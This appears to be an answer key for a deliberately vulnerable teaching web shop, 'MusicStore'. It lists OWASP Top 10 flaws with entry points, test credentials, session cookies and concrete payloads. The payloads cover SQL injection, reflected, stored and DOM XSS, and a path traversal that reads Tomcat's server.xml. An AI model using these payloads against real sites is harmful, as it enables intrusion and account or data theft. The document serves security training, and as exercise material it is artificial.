MusicStore Vulnerabilities List

MusicStore: Vulnerable online shopping for CDs, DVDs & more
http://134.154.14.153:8080/musicStoreOT/

Vulnerabilities described:
A1 SQL Injection (7)
A2 XSS (20)
A3 Broken Authentication (1)
A4 Insecure Direct Object Reference (1)
A5 Cross Site request forgery (13)
A6 Security Misconfiguration (4)
A7 Insecure Cryptographic Storage (4)
A8 Failure to Restrict URL access (1)
A9 Insufficient Transport Layer Protection (3)

Regular User: test@test.com/falsepass
Admin User: andrea/sesame

Tuesday, October 18, 2011

A1 SQL Injection (7)
Vulnerability 1
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/validation/displayPasswordRecovery
PARAMETER: emailAddress
PAYLOAD: emailAddress=test%40test.com%27%29--&answer=anycolor
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/validation/passwordRecovery
in ‘Result’ div

Vulnerability 2
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/validation/displayPasswordRecovery
PARAMETER: answer
PAYLOAD:
emailAddress=test%40test.com&answer=anycolor%27%29+OR+v_UserPass.EmailAddress+%3D+%27test%40test.com%27--
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/validation/passwordRecovery
in ‘Result’ div

Vulnerability 3
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/user/account/displayAccountDetails
test@test.com/falsepass
PARAMETER (1): country
TRUE RESULT
PAYLOAD: firstName=+fTest&lastName=+lTest&companyName=CSUEB&address1=ATTACKERADDRESS&address2=ATTACKERADDRESS&city=Hayward&state=CA&zip=94542&country=USA%27+WHERE+EmailAddress%3D%28%27test1%40test.com%27%29--&creditCardType=Visa&creditCardNumber=4111111111111111&creditCardExpirationMonth=01&creditCardExpirationYear=2011
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/user/account/updateUserDetails
in ‘updateMessage’ div
FALSE RESULT
PAYLOAD:
firstName=+fTest&lastName=+lTest&companyName=CSUEB&address1=ATTACKERADDRESS&address2=ATTACKERADDRESS&city=Hayward&state=CA&zip=94542&country=USA%27+WHERE+EmailAddress%3D%28%27emailnotexist%27%29--&creditCardType=Visa&creditCardNumber=4111111111111111&creditCardExpirationMonth=01&creditCardExpirationYear=2011
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/user/account/updateUserDetails

in ‘updateDetailsMessage’ div

Vulnerability 4
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/user/account/displayAccountPassword
test@test.com/falsepass
PARAMETER (1) : answer
TRUE Result
PAYLOAD:
password=test11&answer=red%27+WHERE+EmailAddress%3D%28%27test1%40test.com%27%29--
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/user/account/updateUserDetails
in ‘updateMessage’ div
FALSE Result
PAYLOAD:
password=test11&answer=red%27+WHERE+EmailAddress%3D%28%27emailnotexist%27%29--
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/user/account/updateUserPassword
in ‘updatePasswordMessage’ div

Vulnerability 5 and 6
ENTRY POINT:
Step1: http://134.154.14.153:8080/musicStoreOT/catalog/displayProduct?productCode=8601
Step2: http://134.154.14.153:8080/musicStoreOT/user/review/displayReview
LogIn: test@test.com/falsepass
http://134.154.14.153:8080/musicStoreOT/user/review/displayReview
PARAMETER(2): title, message
PAYLOAD:
title=%27%7C%7CSYSDATE%7C%7C%27&message=%27%7C%7CSYSDATE%7C%7C%27&SUBMIT=Submit
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/catalog/displayProduct?productCode=8601&reviewNumber=239
in ‘ReviewContent’ as ‘Title’ and ‘Message’ content

Vulnerability 7 (admin login should be used)
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/productMain4/updateProduct?productCode=N200
PARAMETER: description
PAYLOAD:
description=changedata%27+WHERE+ProductCode+%3D+%28select+ProductCode+from+v_Download+WHERE+UserID%3D91+and+rownum%3C2%29+--&price=888.0

PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/productMain4/updateProduct1?code=N200
in ‘updateProductMessage’ div

A2 Cross Site Scripting (XSS) (20)

1. Reflected XSS (11)
Vulnerability 1-10
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/registration/displayUserRegistration
PARAMETER (10):
firstName
lastName
emailAddress
companyName
address1
address2
city
state
zip
country
PAYLOAD:
firstName=John"'><script>alert("firstName parameter is vulnerable")</script>
&lastName=Smith"'><script>alert("lastName parameter is vulnerable")</script>
&emailAddress=js@js.com"'><script>alert("emailAddress parameter is vulnerable")</script>
&password=password
&answer=green
&companyName=CSUEB"'><script>alert("companyName parameter is vulnerable")</script>
&address1=25800 Carlos Bee Boulevard"'><script>alert("address1 parameter is vulnerable")</script>
&address2=25800 Carlos Bee Boulevard"'><script>alert("address2 parameter is vulnerable")</script>
&city=Hayward"'><script>alert("city parameter is vulnerable")</script>
&state=CA"'><script>alert("state parameter is vulnerable")</script>
&zip=94542"'><script>alert("zip parameter is vulnerable")</script>
&country=USA"'><script>alert("country parameter is vulnerable")</script>
&creditCardType=Visa
&creditCardNumber=1234
&creditCardExpirationMonth=01
&creditCardExpirationYear=2011
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/registration/processUser
Registration page in input fields

firstName
lastName
emailAddress
companyName
address1
address2
city
state
zip
country

Vulnerability 11
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/productMain4/updateProduct?productCode=8601
PARAMETER (1): description
PAYLOAD: description=%22%27%3E%3Cscript%3Ealert%28%22description+parameter+is+vulnerable%22%29%3C%2Fscript%3E&price=abc
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/productMain4/updateProduct1?code=8601
in ‘description’ input field

2. Stored XSS (5)

Vulnerability 12
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/user/account/displayAccountDetails
LogIn: test@test.com/falsepass
PARAMETER (1): country
PAYLOAD: firstName= fTest&lastName= lTest&companyName=CSUEB&address1=25800+Carlos+Bee+Boulevard&address2=25800+Carlos+Bee+Boulevard&city=Hayward&state=CA&zip=94542&country=<script>alert(0)</script>&creditCardType=Visa&creditCardNumber=4111111111111111&creditCardExpirationMonth=01&creditCardExpirationYear=2011
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/user/account/updateUserDetails
http://134.154.14.153:8080/musicStoreOT/user/order/displayInvoice

Vulnerability 13
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/productMain4/updateProduct?productCode=8601
PARAMETER (1):
description
PAYLOAD:

description=%3Cscript%3Ealert%285%29%3C%2Fscript%3E&price=14.95
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/productMain4/displayProducts
in ‘Products’ table
http://134.154.14.153:8080/musicStoreOT/cart
in ‘Products’ table
http://134.154.14.153:8080/musicStoreOT/cart/displayCart?productCode=8601
in ‘table’ table
http://134.154.14.153:8080/musicStoreOT/catalog/displayProduct?productCode=8601
in ‘productDetails’ table

3. Multiple Step Stored XSS

Vulnerability 14
ENTRY POINT:
Step1: http://134.154.14.153:8080/musicStoreOT/catalog/displayProduct?productCode=8601

Step2: http://134.154.14.153:8080/musicStoreOT/user/review/displayReview
LogIn: test@test.com/falsepass
PARAMETER (1): title
PAYLOAD: title=Title+%3Cscript%3Ealert%280%29%3C%2Fscript%3E&message=Message&SUBMIT=Submit
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/catalog/displayProduct?productCode=8601
in ‘Review’ table as ‘Title’ content
http://134.154.14.153:8080/musicStoreOT/catalog/displayProduct?productCode=8601&reviewNumber=232
in ‘ReviewContent’ as ‘Title’ content

Vulnerability 15
ENTRY POINT:
Step1: http://134.154.14.153:8080/musicStoreOT/catalog/displayProduct?productCode=8601

Step2: http://134.154.14.153:8080/musicStoreOT/user/review/displayReview
LogIn: test@test.com/falsepass
PARAMETER(1): message
PAYLOAD: title=Title&message=Message+%3Cscript%3Ealert%281%29%3C%2Fscript%3E&SUBMIT=Submit
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/catalog/displayProduct?productCode=8601&reviewNumber=232
in ‘ReviewContent’ as ‘Message’ content

Vulnerability 16

ENTRY POINT:
Step1: http://134.154.14.153:8080/musicStoreOT/user/account/displayAccountPassword
PARAMETER(1): answer
PAYLOAD: password=falsepass&answer=%3Cscript%3Ealert%280%29%3C%2Fscript%3E
Step2: http://134.154.14.153:8080/musicStoreOT/validation/displayPasswordRecovery
PAYLOAD: emailAddress=test%40test.com&answer=%3Cscript%3Ealert%280%29%3C%2Fscript%3E
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/validation/passwordRecovery
in ‘Results’ div

4. DOM XSS (4)

Vulnerability 17
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/email/join_email_list.jsp?firstName=%3Cscript%3Ealert%28%22DOM%20XSS%22%29%3C/script%3E
PARAMETER (1): firstName
PAYLOAD: firstName=<script>alert("DOM XSS")</script>
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/email/join_email_list.jsp?firstName=%3Cscript%3Ealert%28%22DOM%20XSS%22%29%3C/script%3E
in ‘greeting’ div

Vulnerability 18
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/email/join_email_list.jsp?firstName=guest
AJAX ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/email/addToEmailList?firstName=%3CIFRAME%20src=javascript:alert(%27firstName%20XSS%27)%20/%3E&lastName=Simpson&emailAddress=hs@hs.com
PARAMETER (1): firstName
PAYLOAD:
firstName=%3CIFRAME%20src=javascript:alert(%27firstName%20XSS%27)%20/%3E&lastName=Simpson2&emailAddress=hs2@hs.com
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/email/join_email_list.jsp?firstName=guest
in ‘details’ div

Vulnerability 19
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/email/join_email_list.jsp?firstName=guest
AJAX ENTRY POINT:

http://134.154.14.153:8080/musicStoreOT/email/addToEmailList?
firstName=Homer&lastName=%3CIFRAME%20src=javascript:alert(%27XSS
%27)%20/%3E&emailAddress=homers@hs.com
PARAMETER (1): lastName
PAYLOAD:
firstName=Homer&lastName=%3CIFRAME%20src=javascript:alert(%27XSS
%27)%20/%3E&emailAddress=homers@hs.com
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/email/join_email_list.jsp?firstName=guest
in ‘details’ div

Vulnerability 20
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/email/join_email_list.jsp?firstName=guest
AJAX ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/email/addToEmailList?
firstName=Homer&lastName=Simpson&emailAddress=homersimpson@hs.com
%3CIFRAME%20src=javascript:alert(%27emailXSS%27)%20/%3E
PARAMETER (1): emailAddress
PAYLOAD:
firstName=Homer&lastName=Simpson&emailAddress=homersimpson@hs.com
%3CIFRAME%20src=javascript:alert(%27emailXSS%27)%20/%3E
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/email/join_email_list.jsp?firstName=guest
in ‘details’ div

A3 Broken Authentication (1)
Vulnerability 1
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/validation/displayPasswordRecovery
PARAMETER:answer
PAYLOAD: brute force the answer. Brute force parameter:‘incorrect’ from ‘Result’ div
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/validation/displayPasswordRecovery
in ‘Result’ div

A4-Insecure Direct Object Reference (1)
Vulnerability 1
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/partners
PAYLOAD:
../../../../../../../apps/java/apache-tomcat-6.0.16/conf/server.xml
PAYLOAD REFLECTS:
in ‘partnerText’ div

A5-Cross Site request forgery (13)
Vulnerability 1-11
ENTRY POINT:

1. http://134.154.14.153:8080/musicStoreOT/user/order/displayInvoice
2. http://134.154.14.153:8080/musicStoreOT/user/order/displayUserCart
3. http://134.154.14.153:8080/musicStoreOT/user/order/completeOrder
4. http://134.154.14.153:8080/musicStoreOT/user/review/displayReview
5. http://134.154.14.153:8080/musicStoreOT/user/review/addReview
6. http://134.154.14.153:8080/musicStoreOT/user/account/displayAccount
7. http://134.154.14.153:8080/musicStoreOT/user/account/displayAccountDetails
8. http://134.154.14.153:8080/musicStoreOT/user/account/displayAccountPassword
9. http://134.154.14.153:8080/musicStoreOT/user/account/updateUserPassword
10. http://134.154.14.153:8080/musicStoreOT/user/account/updateUserDetails
11. http://134.154.14.153:8080/musicStoreOT/cart/displayCart?productCode=8601

PAYLOAD: Cookie: JSESSIONID= 1B7637F499D59E04EED3E4D3A44C377F

Vulnerability 12-13 (admin login should be used)
Admin: andrea/sesame

1. https://134.154.14.153:8000/musicStoreOT/admin/reports.jsp
2. https://134.154.14.153:8000/musicStoreOT/admin/displayInvoices (under construction)

PAYLOAD: Cookie: JSESSIONID= 381E1A52E55337C09EB47A6EA704BAAF

A6 Security Misconfiguration(4)
Vulnerability 1
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/user/account/updateUserPassword?password=falsepass&answer=black
Data of ‘password’ field should be sent to server using POST method

Vulnerability 2
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/validation/displayPasswordRecovery
slow HTTP headers DDoS attack

Vulnerability 3
ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/validation/displayPasswordRecovery
PAYLOAD:emailAddress=test%40test.com&answer=black
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/validation/passwordRecovery?emailAddress=test%40test.com&answer=black
Data of ‘password’ field should be sent to server using POST method

Vulnerability 4

ENTRY POINT:
http://134.154.14.153:8080/musicStoreOT/validation/displayPasswordRecovery
PAYLOAD:emailAddress=test%40test.com&answer=black
PAYLOAD REFLECTS:
http://134.154.14.153:8080/musicStoreOT/validation/passwordRecovery?emailAddress=test%40test.com&answer=black
password is displayed on web page in 'Result' div. Password should be delivered to user in more secure way, for example using email address and temporary password.

A7 Insecure Cryptographic Storage (4)
Vulnerability 1
Links have forms that contain credit card information. credit card information is sent to server in clear form.
http://134.154.14.153:8080/musicStoreOT/user/account/displayAccountDetails
http://134.154.14.153:8080/musicStoreOT/registration/displayUserRegistration

Vulnerability 2
Links have forms that password and security question answer information. credit card information is sent to server in clear form.
http://134.154.14.153:8080/musicStoreOT/user/account/displayAccountPassword
http://134.154.14.153:8080/musicStoreOT/validation/displayPasswordRecovery

Vulnerability 3
The session cookie used to identify authenticated users of the Web application does not contain the 'secure' attribute.

Vulnerability 4
The session cookie used to identify authenticated users of the Web application does not contain the 'HTTPOnly' attribute.

A8 Failure to Restrict URL access (1)
Vulnerability 1 (admin login should be used)
ENTRY POINT:
https://134.154.14.153:8000/musicStoreOT/admin/
Product Maintenance button navigates to
https://134.154.14.153:8000/musicStoreOT/productMain4/
which can be accessed directly by regular user with or without authentication.

A9 Insufficient Transport Layer Protection (3)
Vulnerability 1
Login Form is not submitted using https.
http://134.154.14.153:8080/musicStoreOT/user/validation/validateUser

Vulnerability 2

The session cookie used to identify authenticated users of the Web application does not contain the ‘secure’ attribute.

Vulnerability 3 (admin login should be used)
ENTRY POINT:
https://134.154.14.153:8000/musicStoreOT/admin/
Log In as andrea/sesame
Open
http://134.154.14.153:8080/musicStoreOT/
No SSL is used. For proper data transfer, the link should be changed to https
https://134.154.14.153:8000/musicStoreOT/